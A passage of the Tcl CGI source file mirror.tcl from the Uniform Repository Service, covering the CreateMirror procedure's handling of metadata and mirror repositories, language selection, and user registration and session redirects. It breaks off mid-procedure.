# Copyright for the Uniform Repository Service (c) 1995 - 2026
# by Gerald Banon. All rights reserved.
# Version 2.1
# mirror.tcl

# ----------------------------------------------------------------------
# CreateMirror
# updateStageOfSubmit must be set to 1 for the update stage of Submit
# enableOutput is set to 0 in Submit
# extraCGIList is set to
# [list ingestactor $cgi(ingestactor) reviewprocess $cgi(reviewprocess)]
# in Submit

proc CreateMirror {{updateStageOfSubmit 0} {enableOutput 1} {extraCGIList {}}} {
if [catch {

if 0 {
# testing progressive loading on 2021-04 - progressive loading doesn't work with mirror.cgi and Apache 2.4 in urlib.net
	puts {Content-Type: text/html}
	puts {}
#	fconfigure stdout -buffering none
#	fconfigure stdout -buffersize 10
#	puts [fconfigure stdout]
	puts 1
	puts "<!-- [string repeat a 4096] -->"	;# to have the previous puts displayed
	set x 0; after 1000 {set x 1}; vwait x
	puts 2
	return
}

	global env
	
if 0 {
# testing Apache 2.0.54
puts {Content-Type: text/html}
puts {}
puts OK
# puts [info exists env(URLIB_SERVICE_REP)]
# exit
}

	global cgi
	global col
	global currentRep	;# set in this procedure
	global numberOfSatisfiedQueries
	global numberOfSites	;# set in MultipleSubmit
	global listOfSites	;# set in MultipleSubmit
	global listOfActiveSites	;# set in MultipleSubmit
	global listOfInactiveSites	;# set in this procedure - used in ReturnDistributedCollectionTest
	global lastVersion	;# set in MultipleSubmit
	global mirrorHomePageRep	;# defined in FindLanguage (utilities1.tcl)
	global homePath	;# used in SynchronizeRepository, TestForTclPageUpdate, LoadService, Help, CheckSession, CreateOutput, ReturnDistributedCollectionTest and CreateOptionListForCopyright
	global language languageRep1 languageRep2 firstLanguageRep	;# used by ReturnTheMostRecentEntries and FindCurrentHTMLFileName
	global submissionFormRep
	global submissionFormLanguage submissionFormLanguageRep	;# used by Help and FindCurrentHTMLFileName
	global serverAddress	;# used by CreateOptionListForCopyright and SetFieldValue
	global serverAddressWithIP	;# used by SynchronizeRepository, CreateReviewButton, FindLanguageForSubmissionForm and CreateOptionListForCopyright
	global localSite	;# used by Help and CreateReviewButton
	global display
	global orderingTable	;# used to sort review fields
	global administratorUserName	;# used by CreateReturnButton
	global orderingFieldArray	;# used by CompareFieldName - set in this procedure
	global multipleLineReferFieldNamePattern
	global multipleLineReferFieldNamePattern2
	global multipleLineReferFieldNamePatternForCreator
	global http
	global URLibServiceRepository	;# used by SynchronizeRepository and CheckSession
	global numberOfNotAccessibleSites ;# set in ReturnDistributedCollectionTest
	global codedPassword	;# used by CreateOptionListForCopyright
	global loCoInRep	;# needed with SynchronizeRepository and CreateOptionListForCopyright called in displayControl.tcl
	global loBiMiRep	;# used with ^Submit$ (SynchronizeRepository) and ^About$ (MultipleExecute)

#	array set environment [array get env]	;# used in MultipleSubmit

# URLibServiceRepository (used by CheckSession)
	set URLibServiceRepository $env(URLIB_SERVICE_REP)
# multipleLineReferFieldNamePattern
	set multipleLineReferFieldNamePattern $env(MULI_PATTERN)
# multipleLineReferFieldNamePattern2
	set multipleLineReferFieldNamePattern2 $env(MULI_PATTERN2)
# multipleLineReferFieldNamePatternForCreator
	set multipleLineReferFieldNamePatternForCreator $env(MULI_PATTERN_FOR_CREATOR)
# mirrorHomePageRepository
# used in sourceDisplayControl and xxButton.html (now there is only one buttonBg.jpg in use which is in mirrorHomePageRepository)
	set mirrorHomePageRepository dpi.inpe.br/banon/2000/01.23.20.24

	set col ../../../../..
	source ../$col/$URLibServiceRepository/doc/utilities1.tcl
	source ../$col/$URLibServiceRepository/doc/cgi/mirrorfind-.tcl
	
# homePath (used in LoadService and Help)
	set homePath $env(DOCUMENT_ROOT)
# localSite
#	set localSite $env(SERVER_NAME):$env(SERVER_PORT)	;# commented by GJFB on 2021-12-24
	set localSite [ReturnHTTPHost $env(SERVER_NAME):$env(SERVER_PORT)]	;# added by GJFB on 2021-12-24 - just to simplify, drop :80 if any
# serverAddress
	set serverAddress [list $env(SERVER_NAME) $env(URLIB_PORT)]
# serverAddressWithIP
	set serverAddressWithIP [list $env(IP_ADDR) $env(URLIB_PORT)]	;# needed in SynchronizeRepository
# secureLocalSite (used in About only)
	set secureLocalSite $env(SERVER_NAME):$env(SERVER_PORT)1
# http
	set http http[expr [info exists env(HTTPS)]?{s}:{}]
# loCoInRep
	set loCoInRep $env(LOCOINREP)
# loBiMiRep
	set loBiMiRep $env(LOBIMIREP)	;# needed in SynchronizeRepository (^Submit$) and MultipleExecute (^About$)

	set currentProcedureName CreateMirror
# 	set currentFileName $homePath/col/$URLibServiceRepository/doc/cgi/mirror.tcl
	set currentProcedureFileName $homePath/col/$URLibServiceRepository/doc/cgi/mirror.tcl
	
# Check if the collection has been posted
	if [CheckCommunication] {return}	;# uses localSite
# Check if the collection has been posted - end

if 0 {
puts {Content-Type: text/html}
puts {}
puts $updateStageOfSubmit
return
}

	if $updateStageOfSubmit {
# update stage
		set pathInfo [file split $env(PATH_INFO)]
# rep (repository to be updated)
		regsub -all { } [lrange $pathInfo 1 4] {/} rep
		if [info exists env(QUERY_STRING)] {
			foreach {name value} [split $env(QUERY_STRING) &=] {
				if [regexp {\?} $value] {break}	;# ignore returnaddress
				set cgi([DecodeURL $name]) [DecodeURL $value]
			}
		}
		
# cgi(frameinuse) value is yes if the display___xxx is itsef a frame set

if 0 {
if [info exists cgi(frameinuse)] {
	puts {Content-Type: text/html}
	puts {}
	puts OK1
#	puts $cgi(metadatarepository)
	puts $env(QUERY_STRING)
	puts [array get cgi]
}
}

# Get some metadata
		set localURLibClientSocketId [StartCommunication $env(SERVER_NAME) $env(URLIB_PORT)]
# metadataRep
		if [info exists cgi(metadatarepository)] {
			set metadataRep $cgi(metadatarepository)	;# added by GJFB on 2013-02-11 because FindMetadataRep returns the first encountered, this metadata repository may not be the proper one for the current application
		} else {
#			set metadataRep [Submit $localURLibClientSocketId [list FindMetadataRep $rep] 0]	;# not async
			set metadataRep [Submit $localURLibClientSocketId [list FindMetadataRep $rep] 1]	;# async - needed, otherwise mirror.cgi randomly stall with banon-pc3
		}
		if [string equal {} $metadataRep] {
			puts {Content-Type: text/html}
			puts {}
			puts "CreateMirror (1): no metadata repository found for $rep"
			puts <BR>
			puts {the file .referenceTable.tcl may have been damaged}
			return
		}
	
if 0 {
if [info exists cgi(frameinuse)] {
	puts {Content-Type: text/html}
	puts {}
	puts OK2
	puts --$metadataRep--
 	return
}
}

		if [info exists cgi(frameinuse)] {set d 0; after 100 {set d 1}; vwait d}	;# delay added by GJFB on 2013-02-16 - needed to fetch the Reference Update frame at banon-pc3 (127.0.0.1) for an unknown reason

# referenceType
		if [info exists cgi(referencetype)] {
			set referenceType $cgi(referencetype)
			unset cgi(referencetype)
		} else {
# default
			set referenceType [Submit $localURLibClientSocketId [list ReturnType metadataArray $metadataRep-0] 0]	;# not async
		}
# keywords
		set keywords [Submit $localURLibClientSocketId [list GetFieldValue $metadataRep-0 keywords] 0]	;# not async
# mirrorRepository
		if {![string equal {Misc} $referenceType] || [regexp {review} $keywords]} {
# not Misc or review
			set mirrorRepository [Submit $localURLibClientSocketId [list GetFieldValue $metadataRep-0 mirrorrepository] 0]	;# not async
		} else {
			set mirrorRepository {}	;# use the default mirror
		}
# size
		set size [Submit $localURLibClientSocketId [list GetFieldValue $metadataRep-0 size] 0]	;# not async
# tertiaryMark
		set tertiaryMark [Submit $localURLibClientSocketId [list GetFieldValue $metadataRep-0 tertiarymark] 0]	;# not async
		close $localURLibClientSocketId
# Get some metadata - end

# Netscape doesn't work with <A HREF="Submit/Conference Proceedings">
		regsub -all { } $referenceType {} referenceType2	;# Conference Proceedings -> ConferenceProceedings 

if 1 {
# new code by GJFB on 2013-05-23

# there are 3 levels of mirror repository, in decreasing priority:
# mirrorRepository - defined at submit
# cgi(requiredmirror) - mirror used for example within the brief search result page
# env(LOBIMIREP) - default

# currentRep (local mirror repository - contains @siteList.txt)
# currentRep value is the mirrorrepository field value (if any)
# otherwise is $cgi(requiredmirror) (if any)
# otherwise is $env(LOBIMIREP)

# cgi(expectedmirror) - is used in dpi.inpe.br/banon-pc2@1905/2006/02.16.12.09/doc/cgi/script only
# if cgi(expectedmirror) != currentRep then a warning is displayed
# cgi(expectedmirror) doesn't participate of the currentRep definition

		if {![string equal {} $mirrorRepository] && \
		[file isdirectory $homePath/col/$mirrorRepository]} {
			set currentRep $mirrorRepository
		} else {
			if [info exists cgi(requiredmirror)] {
				set currentRep $cgi(requiredmirror)
			} else {
#				set currentRep $env(LOBIMIREP)
				set currentRep $loBiMiRep
			}
		}
	
		set cgi(requiredmirror) $currentRep	;# cgi(requiredmirror) used in xxSubmit.html and xxUpdateSubmission.html
		
} else {
# old code

# currentRep (local mirror repository - contains @siteList.txt)
# currentRep value is the mirrorrepository field value (if any)
## otherwise is $cgi(mirror) (if any)
# otherwise is $cgi(requiredmirror) (if any)
# otherwise is $env(LOBIMIREP)

		if {[string equal {} $mirrorRepository] || \
		![file isdirectory $homePath/col/$mirrorRepository]} {
#			if ![info exists cgi(mirror)] {set cgi(mirror) $env(LOBIMIREP)}
			if ![info exists cgi(requiredmirror)] {set cgi(requiredmirror) $env(LOBIMIREP)}
		} else {
#			set cgi(mirror) $mirrorRepository
			set cgi(requiredmirror) $mirrorRepository
		}
#		set currentRep $cgi(mirror)
		set currentRep $cgi(requiredmirror)
#		unset cgi(mirror)
}

if 0 {
puts {Content-Type: text/html}
puts {}
puts $currentRep
}

	} else {
# not update stage
		if [info exists env(PATH_INFO)] {
# may not exist when coming from Submit
			set pathInfo [file split $env(PATH_INFO)]
# currentRep (local mirror repository - contains @siteList.txt)
			regsub -all { } [lrange $pathInfo 1 4] {/} currentRep
		}
	}

# display
	set display [GetFrameName]	;# used in mirrorHomePage.html

	if {$updateStageOfSubmit || ![info exists pathInfo]} {
# may not exist when coming form Submit
		set frameName Submit
	} else {
		set pathInfoLength [llength $pathInfo]
		if {$pathInfoLength == 5} {
			set frameName {}
		} else {
			set frameName [lindex $pathInfo 5]
		}
	}
	
	if ![string equal {} $frameName] {
		if [regexp {^(About|FillingInstructions|Language|Contributors|Word|Recent|Help|AdvancedHelp|DynamicHelp|Form|SimpleForm|Field|Inquiry|Register|NewPassword|Button)$} $frameName] {
			if [info exists env(QUERY_STRING)] {
				foreach {name value} [split $env(QUERY_STRING) &=] {
					set cgi([DecodeURL $name]) [DecodeURL $value]
				}
			}
		}
	}
	
if 0 {
puts {Content-Type: text/html}
puts {}
puts --$frameName--
puts $env(QUERY_STRING)
puts [array get cgi]
}

#	if {![info exists cgi(creatorfieldindex)] && \
	(![regexp {^(SimpleForm|Button|Recent|Inquiry|FillingInstructions)$} $frameName] || \
	![info exists cgi(languagerep1)] || ![info exists cgi(languagebutton)])} #	;# commented by GJFB on 2020-07-14
	
	if {![regexp {^(SimpleForm|Button|Recent|Inquiry|FillingInstructions)$} $frameName] || \
	![info exists cgi(languagerep1)] || ![info exists cgi(languagebutton)]} {	;# added by GJFB on 2020-07-14 - language required when returning from a duplicate submit/update warning (in this case, cgi(creatorfieldindex) exists)
# Find the language and the language repository
		foreach {language languageRep1 languageRep2 firstLanguageRep \
		submissionFormRep submissionFormLanguage submissionFormLanguageRep} \
		[FindLanguage $currentRep] {break}
# Find the language and the language repository - end
	}

	if ![info exists cgi(languagebutton)] {
		set cgi(languagebutton) $language	;# added by GJFB on 2019-12-12 - needed with the new version of mirrorHomePage.html without frame set
	}
	
if 0 {
	puts {Content-Type: text/html}
	puts {}
	puts "currentRep = $currentRep<br>" 

	puts "language = $language<br>"
	puts "languageRep1 = $languageRep1<br>"
	puts "languageRep2 = $languageRep2<br>"
	puts "firstLanguageRep = $firstLanguageRep<br>"
	puts "submissionFormRep = $submissionFormRep<br>"
	puts "submissionFormLanguage = $submissionFormLanguage<br>"
	puts "submissionFormLanguageRep = $submissionFormLanguageRep<br>"
}

	if $updateStageOfSubmit {
		if [info exists cgi(expectedmirror)] {
			if [string equal $currentRep $cgi(expectedmirror)] {
# expected mirror
				if [info exists cgi(fieldtobecompleted)] {
					if [string equal {size} $cgi(fieldtobecompleted)] {
# size (filename)
# examples:
# http://gerald/update/urlib.net/www/2013/09.19.02.01?languagebutton=en&expectedmirror=dpi.inpe.br/banon/1999/06.19.17.00&fieldtobecompleted=size
# http://gerald/update/urlib.net/www/2013/09.19.02.01?languagebutton=pt-BR&expectedmirror=dpi.inpe.br/banon/1999/06.19.17.00&fieldtobecompleted=size
# http://gerald/update/iconet.com.br/banon/2008/11.13.01.31?languagebutton=en&expectedmirror=iconet.com.br/banon/2006/11.26.21.31&fieldtobecompleted=size
# http://gerald/update/iconet.com.br/banon/2008/11.13.01.31?languagebutton=pt-BR&expectedmirror=iconet.com.br/banon/2006/11.26.21.31&fieldtobecompleted=size
# http://gerald/update/iconet.com.br/banon/2008/11.13.01.31?metadatarepository=iconet.com.br/banon/2008/11.13.01.31.03&expectedmirror=sid.inpe.br/mtc-m19/2013/05.22.12.17&fieldtobecompleted=size
# http://gerald/update/iconet.com.br/banon/2008/11.13.01.31?languagebutton=en&metadatarepository=iconet.com.br/banon/2008/11.13.01.31.03&expectedmirror=sid.inpe.br/mtc-m19/2013/05.22.12.17&fieldtobecompleted=size
# http://gerald/update/iconet.com.br/banon/2008/11.13.01.31?languagebutton=pt-BR&metadatarepository=iconet.com.br/banon/2008/11.13.01.31.03&expectedmirror=sid.inpe.br/mtc-m19/2013/05.22.12.17&fieldtobecompleted=size
						regsub -all {/} ${currentRep}___$metadataRep {__} window
						regsub -all {\.|@|-} $window {_} window
						set window ${window}___0
						if ![string equal {} $size] {
							puts {Content-Type: text/html}
							puts {}
							if [file exists $homePath/col/$submissionFormLanguageRep/doc/include/${submissionFormLanguage}UploadDone.html] {
# use include
								puts [subst [Include2 $submissionFormLanguageRep $homePath/col/$submissionFormLanguageRep/doc/include/${submissionFormLanguage}UploadDone.html]]
							} else {
# use default include
								puts [subst [Include2 $languageRep2 $homePath/col/$languageRep2/doc/include/${language}UploadDone.html]]
							}
	 						return
						}
					} 
					if [string equal {tertiarymark} $cgi(fieldtobecompleted)] {
# tertiarymark
# examples:
# http://gerald/update/iconet.com.br/banon/2008/11.13.01.31?languagebutton=en&expectedmirror=iconet.com.br/banon/2006/11.26.21.31&fieldtobecompleted=tertiarymark
# http://gerald/update/iconet.com.br/banon/2008/11.13.01.31?languagebutton=pt-BR&expectedmirror=iconet.com.br/banon/2006/11.26.21.31&fieldtobecompleted=tertiarymark
# http://gerald/update/iconet.com.br/banon/2008/11.13.01.31?languagebutton=en&expectedmirror=xxx&fieldtobecompleted=tertiarymark
# http://gerald/update/iconet.com.br/banon/2008/11.13.01.31?languagebutton=pt-BR&expectedmirror=xxx&fieldtobecompleted=tertiarymark
						if ![string equal {} $tertiaryMark] {
							puts {Content-Type: text/html}
							puts {}
							if [file exists $homePath/col/$submissionFormLanguageRep/doc/include/${submissionFormLanguage}TertiaryMarkCompleted.html] {
# use include
								puts [subst [Include2 $submissionFormLanguageRep $homePath/col/$submissionFormLanguageRep/doc/include/${submissionFormLanguage}TertiaryMarkCompleted.html]]
							} else {
# use default include
								puts [subst [Include2 $languageRep2 $homePath/col/$languageRep2/doc/include/${language}TertiaryMarkCompleted.html]]
							}
	 						return
						}
					} 
				}
			} else {
# unexpected mirror
# examples:
# http://gerald/update/urlib.net/www/2013/09.19.02.01?languagebutton=en&expectedmirror=xxx
# http://gerald/update/urlib.net/www/2013/09.19.02.01?languagebutton=pt-BR&expectedmirror=xxx
				puts {Content-Type: text/html}
				puts {}
				if [file exists $homePath/col/$submissionFormLanguageRep/doc/include/${submissionFormLanguage}UnexpectedMirror.html] {
# use include
#					puts [subst [Include $homePath/col/$submissionFormLanguageRep/doc/include/${submissionFormLanguage}WithoutUpdateForm.html]]
					puts [subst [Include2 $submissionFormLanguageRep $homePath/col/$submissionFormLanguageRep/doc/include/${submissionFormLanguage}UnexpectedMirror.html]]
				} else {
# use default include
#						puts [subst [Include $homePath/col/$languageRep2/doc/include/${language}WithoutUpdateForm.html]]
					puts [subst [Include2 $languageRep2 $homePath/col/$languageRep2/doc/include/${language}UnexpectedMirror.html]]
				}
	 			return
			}
		}
	}
	
if 0 {
	puts {Content-Type: text/html}
	puts {}
	puts --$frameName--
}

	if ![string equal {} $frameName] {
		if {[regexp {^(SimpleForm|Button|Recent|Inquiry|FillingInstructions)$} $frameName] && [info exists cgi(languagerep1)]} {
			set language $cgi(languagebutton)
			set languageRep1 $cgi(languagerep1)
			set languageRep2 $cgi(languagerep2)
			set firstLanguageRep $cgi(firstlanguagerep)
			set submissionFormRep $cgi(submissionformrep)
			if [regexp {^FillingInstructions$} $frameName] {
				set submissionFormLanguage $cgi(submissionformlanguage)
				set submissionFormLanguageRep $cgi(submissionformlanguagerep)
			}
			if [info exists cgi(mirrorhomepagerep)] {set mirrorHomePageRep $cgi(mirrorhomepagerep)}
		}
# returnInfo
# puts $env(QUERY_STRING)
		set returnInfo ?languagebutton=$language
		if [regexp {^(About|FillingInstructions|Language|Contributors|Word|Recent|Help|AdvancedHelp|DynamicHelp|Form|SimpleForm|Field|Inquiry|Register|NewPassword)$} $frameName] {
			if [info exists env(QUERY_STRING)] {
				if [info exists cgi(returnbutton)] {
					append returnInfo &returnbutton=$cgi(returnbutton)
				} else {
					set cgi(returnbutton) no
				}
			}
		}
	}
# puts 1==$returnInfo
# puts [array get cgi]

if 0 {
# commented by GJFB on 2019-01-05
	if ![file exists ../$col/$submissionFormRep/doc/submission.js] {
		Load ../$col/$mirrorHomePageRep/doc/submission.js fileContent
		Store fileContent ../$col/$submissionFormRep/doc/submission.js
	}
} else {
# added by GJFB on 2019-01-05 - Migration - now there is only one submission.js in use which is in mirrorHomePageRepository
	if ![string equal $mirrorHomePageRepository $submissionFormRep] {
		file delete ../$col/$submissionFormRep/doc/submission.js
	}	
}
	if {$updateStageOfSubmit || ![info exists pathInfo]} {
# may not exist when coming from Submit
#		set frameName Submit
		set usePHP 0
	} else {
#		set pathInfoLength [llength $pathInfo]
		if {$pathInfoLength == 5} {
#			set frameName {}
			Load ../$col/$mirrorHomePageRep/service/targetFile mirrorHomePageTargetFile
			set usePHP [regexp -nocase {\.php} $mirrorHomePageTargetFile]
		} else {
#			set frameName [lindex $pathInfo 5]
			set usePHP 0
		}
	}

	if {$enableOutput && !$usePHP && $frameName != "Register" && $frameName != "Inquiry"} {
		if [regexp {^About$} $frameName] {	;# added by GJFB on 2026-04-04 to solve the accent problem
# postpone - see below
		} else {
			puts {Content-Type: text/html}
			puts {}
		}
	}
	
# puts $pathInfo
# puts $currentRep
# puts OK
# puts [array name cgi]
# puts [array get cgi]
# puts --$cgi(mirror)--
# puts $referenceType
# puts --$frameName--

# puts [list $language <BR> $languageRep1 <BR> $languageRep2 <BR> $firstLanguageRep \
	<BR> $submissionFormRep <BR> $submissionFormLanguage <BR> $submissionFormLanguageRep \
	<BR> $mirrorHomePageRep]

	if ![string equal {} $frameName] {
#		if ![regexp {Form|Language|Contributors|Recent|BannerSpace|Button2|Inquiry} $frameName] #
#		if [regexp {^Register$|^Button$|^Help$|^AdvancedHelp$|^DynamicHelp$|^Field$|^Word$|^About$} $frameName] #	;# Button drops by GJFB on 2012-03-10
		if [regexp {^Register$|^Help$|^AdvancedHelp$|^DynamicHelp$|^Field$|^Word$|^About$} $frameName] {
			source ../$col/$languageRep2/doc/mirror/${language}$frameName.tcl
			global "${languageRep2}::currentVariableFileName"	;# for reverse engineering
		}
# bgColor, background, bgProperties, fontTag and fontTag2
if 0 {
# used in old mirror
		if [regexp {^Form$|^SimpleForm$|^Help$|^AdvancedHelp$|^DynamicHelp$|^Language$|^Field$|^Word$|^Submit$|^About$|^Inquiry$|^Register$} $frameName] {
			foreach {bgColor background bgProperties fontTag fontTag2} [GetBg $languageRep1 $language] {break}
			set background [subst $background]
		}
}
	}

# codedPassword
	Load $homePath/col/$loCoInRep/auxdoc/xxx data binary
	set data [UnShift $data]
	set codedPassword [lindex $data end]

# The used frameName are:
# Register BannerSpace Form SimpleForm Button Button2 Inquiry
# Help AdvancedHelp DynamicHelp Language Contributors Field
# Word Recent Submit FillingInstructions NewPassword About .+ default 

# puts --$frameName--

# >
switch -regexp -- $frameName {
	^Register$ {
		global "${languageRep2}::Cancel"
		global "${languageRep2}::Return"
#		global "${languageRep2}::forbidden registration"
		global "${languageRep2}::registration header"
		global "${languageRep2}::Please wait for the submission completion."
		global "${languageRep2}::User"
		global "${languageRep2}::eMail Address"
		global "${languageRep2}::Advanced User"
		global "${languageRep2}::update2"	;# update is used in displayControl.tcl
#		global "${languageRep2}::review"
		global "${languageRep2}::there are no reviews to display"
		global "${languageRep2}::there are no reviews to release"
#		global "${languageRep2}::no works"
		global "${languageRep2}::submit"
		global "${languageRep2}::there are no items to display"
		global "${languageRep2}::click"
		global "${languageRep2}::closed session"
		global "${languageRep2}::translationTable"

# administratorUserName
		regsub {@.*$} $env(SERVER_ADMIN) {} administratorUserName

# Source displayControl.tcl
		set enableOutput 1
		eval $sourceDisplayControl	;# executes SynchronizeRepository
# Source displayControl.tcl - end

#		regsub -all {"} $cellFont {\\"} cellFont2	;# used inside the document.write JavaScript command
		set cellFont {<FONT class=cellFont>}
		set cellFont2 {<FONT class=cellFont>}
		
if 0 {
puts {Content-Type: text/html}
puts {}
puts [array get cgi]
}

# Create cgi array
# usefull to recover the filled fields after a submit error
		CreateCGIArray
# Create cgi array - end

if 0 {
puts {Content-Type: text/html}
puts {}
puts [array get cgi]
}

		if ![info exists cgi(username)] {set cgi(username) {}}
		if ![info exists cgi(login)] {set cgi(login) {}}
		if ![info exists cgi(usertype)] {set cgi(usertype) readuser}
		if ![info exists cgi(__e_mailaddress_e_mailaddress)] {set cgi(__e_mailaddress_e_mailaddress) {}}
		if ![info exists cgi(formstate)] {set cgi(formstate) {}}
#		if ![info exists cgi(targetframe)] {set cgi(targetframe) _top}	;# _top is used when updating from a blank window
#		if ![info exists cgi(targetframe)] {set cgi(targetframe) _parent}	;# _parent is used when updating from a blank window
		if ![info exists cgi(targetframe)] {set cgi(targetframe) {}}
#		if ![info exists cgi(useraction)] {set cgi(useraction) accesspage}
#		if ![info exists cgi(useraction)] {set cgi(useraction) {}}
		if ![info exists cgi(registereduser)] {set cgi(registereduser) {no}}
		if ![info exists cgi(session)] {set cgi(session) {}}
		if ![info exists cgi(fullname)] {set cgi(fullname) {}}
		if ![info exists cgi(resumeid)] {set cgi(resumeid) {}}	;# required in xxRegister.html
		if ![info exists cgi(orcid)] {set cgi(orcid) {}}	;# required in xxRegister.html
		if ![info exists cgi(cpf)] {set cgi(cpf) {}}	;# required in xxRegister.html
		if ![info exists cgi(returnbutton)] {set cgi(returnbutton) {no}}
		if ![info exists cgi(delayedreturnbutton)] {set cgi(delayedreturnbutton) {no}}
		if ![info exists cgi(initialaction)] {set cgi(initialaction) {}}	;# used with return button
		if ![info exists cgi(displayedfieldlist)] {set cgi(displayedfieldlist) {fullname password subject}}	;# used in xxRegister.html

		regsub -all { } $cgi(displayedfieldlist) {+} displayedFieldList2

if 0 {
puts {Content-Type: text/html}
puts {}
# puts [array get cgi]
puts $review
}

		if [regexp {register|review|seeworks|exportmetadata} $cgi(initialaction)] {
			if ![info exists cgi(useraction)] {set cgi(useraction) $cgi(initialaction)}
		} else {
			if ![info exists cgi(useraction)] {set cgi(useraction) {}}
		}
		
# userName
		if {[regexp {register} $cgi(useraction)] && $restrictedSubmission} {
			set userName administrator
		} else {
			set userName $cgi(username)
		}
		
		if {[string equal {nothingtoupdate} $cgi(formstate)] && \
		[regexp {update|review|register|seeworks|exportmetadata} $cgi(useraction)]} {
# CHECK SESSION
			if [CheckSession $cgi(session) $userName] {
				set returnButton [CreateReturnButton <HR> ../$col/$languageRep2/doc/mirror About $cgi(targetframe) $Cancel]
				puts {Content-Type: text/html}
				puts {}
				puts [subst [subst ${closed session}]]
				return
			}
		}

# fileTable entries are: loginpage, accesspage, register, update, review and seeworks, exportmetadata
		if [string equal {} $cgi(session)] {
			set fileTable(review) EnterPassword
			set fileTable(seeworks) EnterPassword
			set fileTable(exportmetadata) EnterPassword
#			if $restrictedSubmission #	;# commented by GJFB on 2021-11-16
			if {$restrictedSubmission && ![file exists ../$col/$URLibServiceRepository/auxdoc/messageForRegister]} {		;# added by GJFB on 2021-11-16 - messageForRegister created in post
				set fileTable(register) EnterAdmPassword
			} else {
				set fileTable(register) Register
			}
		} else {
# CHECK SESSION
			if {[string equal {} $cgi(formstate)] && ![CheckSession $cgi(session) $userName]} {
# a session is running
# userArray
				if [file exists $homePath/col/$loCoInRep/auxdoc/.userArray.tcl] {
					source $homePath/col/$loCoInRep/auxdoc/.userArray.tcl
				}

				if {[info exists cgi(useraction)] && \
				[string equal {update} $cgi(useraction)] && \
				[regexp {^administrator$} $cgi(username)]} {
# administrator -> administrator user name
					set userName $administratorUserName
				} else {
#					set userName $cgi(username)
					set userName $cgi(login)
				}

# return the user data
				set userType $cgi(usertype)
				if ![string equal {} $cgi(useraction)] {
					if [regexp {update} $cgi(useraction)] {
# UPDATE user action
						if [string equal {writeuser} $userType] {
# write
							foreach {eMailAddress fullName2 theme2 resumeID orcid CPF} [ReturnUserData $userName write] {break}
							if [regexp {.*/.*/.*/.*} $fullName2] {
								set fullName3 {}
							} else {
								set fullName3 $fullName2
							}
#							puts "Location: Register?languagebutton=$language&useraction=$cgi(useraction)&initialaction=$cgi(initialaction)&displayedfieldlist=$displayedFieldList2&session=$cgi(session)&usertype=$userType&username=$userName&fullname=$fullName3&__e_mailaddress_e_mailaddress=$eMailAddress&__subject_subject=$theme2&formstate=nothingtoupdate&returnbutton=$cgi(returnbutton)&delayedreturnbutton=$cgi(delayedreturnbutton)&targetframe=$cgi(targetframe)&registereduser=$cgi(registereduser)&login=$cgi(login)"
#							puts "Location: Register?languagebutton=$language&useraction=$cgi(useraction)&initialaction=$cgi(initialaction)&displayedfieldlist=$displayedFieldList2&session=$cgi(session)&usertype=$userType&username=$userName&fullname=$fullName3&resumeid=$resumeID&__e_mailaddress_e_mailaddress=$eMailAddress&__subject_subject=$theme2&formstate=nothingtoupdate&returnbutton=$cgi(returnbutton)&delayedreturnbutton=$cgi(delayedreturnbutton)&targetframe=$cgi(targetframe)&registereduser=$cgi(registereduser)&login=$cgi(login)"
							puts "Location: Register?languagebutton=$language&useraction=$cgi(useraction)&initialaction=$cgi(initialaction)&displayedfieldlist=$displayedFieldList2&session=$cgi(session)&usertype=$userType&username=$userName&fullname=$fullName3&resumeid=$resumeID&orcid=$orcid&cpf=$CPF&__e_mailaddress_e_mailaddress=$eMailAddress&__subject_subject=$theme2&formstate=nothingtoupdate&returnbutton=$cgi(returnbutton)&delayedreturnbutton=$cgi(delayedreturnbutton)&targetframe=$cgi(targetframe)&registereduser=$cgi(registereduser)&login=$cgi(login)"
						} else {
# read
							foreach {eMailAddress} [ReturnUserData $userName read] {break}
							puts "Location: Register?languagebutton=$language&useraction=$cgi(useraction)&session=$cgi(session)&usertype=$userType&username=$userName&__e_mailaddress_e_mailaddress=$eMailAddress&formstate=nothingtoupdate&returnbutton=$cgi(returnbutton)&delayedreturnbutton=$cgi(delayedreturnbutton)&targetframe=$cgi(targetframe)&registereduser=$cgi(registereduser)&login=$cgi(login)"
						}
						puts ""
						return
					} elseif [regexp {review|seeworks|exportmetadata} $cgi(useraction)] {
# REVIEW, SEEWORKS and EXPORTMETADATA user actions
#						puts "Location: Register?languagebutton=$language&useraction=$cgi(useraction)&session=$cgi(session)&usertype=$userType&username=$userName&formstate=nothingtoupdate&returnbutton=$cgi(returnbutton)&delayedreturnbutton=$cgi(delayedreturnbutton)&targetframe=$cgi(targetframe)&registereduser=$cgi(registereduser)&login=$cgi(login)"
						ConditionalSet contents cgi(contents) {}	;# used with exportmetadata only
						ConditionalSet outputFormat cgi(outputformat) {}	;# used with exportmetadata only
						ConditionalSet mirrorRepository cgi(mirrorrepository) {}	;# used with exportmetadata only
						ConditionalSet conversionRepository cgi(conversionrepository) {}	;# used with exportmetadata only
						ConditionalSet pageTitle cgi(pagetitle) {}	;# used with exportmetadata only
						puts "Location: Register?languagebutton=$language&useraction=$cgi(useraction)&session=$cgi(session)&usertype=$userType&username=$userName&formstate=nothingtoupdate&returnbutton=$cgi(returnbutton)&delayedreturnbutton=$cgi(delayedreturnbutton)&targetframe=$cgi(targetframe)&registereduser=$cgi(registereduser)&login=$cgi(login)&contents=$contents&outputformat=$outputFormat&mirrorrepository=$mirrorRepository&conversionrepository=$conversionRepository&pagetitle=$pageTitle"
						puts ""
						return
					}
				}
			}
			set fileTable(review) Review
			set fileTable(register) Register
			set fileTable(seeworks) SeeWorks
			set fileTable(exportmetadata) ExportMetadata
		}
# set cgi(formstate) nothingtoupdate

		puts {Content-Type: text/html}
		puts {}

		if [string equal {} $cgi(formstate)] {
			set updateForRegister 0	;# argument for ProcessKey
			set fileTable(update) EnterPassword
		} else {
			if {[info exists cgi(useraction)] && [regexp {register} $cgi(useraction)]} {
				set updateForRegister 0
			} else {
				set updateForRegister 1
			}
			set fileTable(update) Register
		}

# puts $fileTable($cgi(useraction))

		set userTable(readuser) ${User}
		set userTable(writeuser) ${Advanced User}

		if {[string equal {} $cgi(formstate)] || \
			([info exists cgi(useraction)] && [regexp {register} $cgi(useraction)])} {
# first display (empty form)
# submit
			set submissionType submit
		} else {
# second display
# update
			set submissionType update
		}

		set fileTable(loginpage) EnterLogin

		set cellBackgroundColors {#F1F1F1 #E3E3E3}
# puts $cgi(usertype)
		if [string equal {writeuser} $cgi(usertype)] {
# write user
#			set fieldName %9
#			set field _9_theme
			set fieldName %@subject
			set field __subject_subject

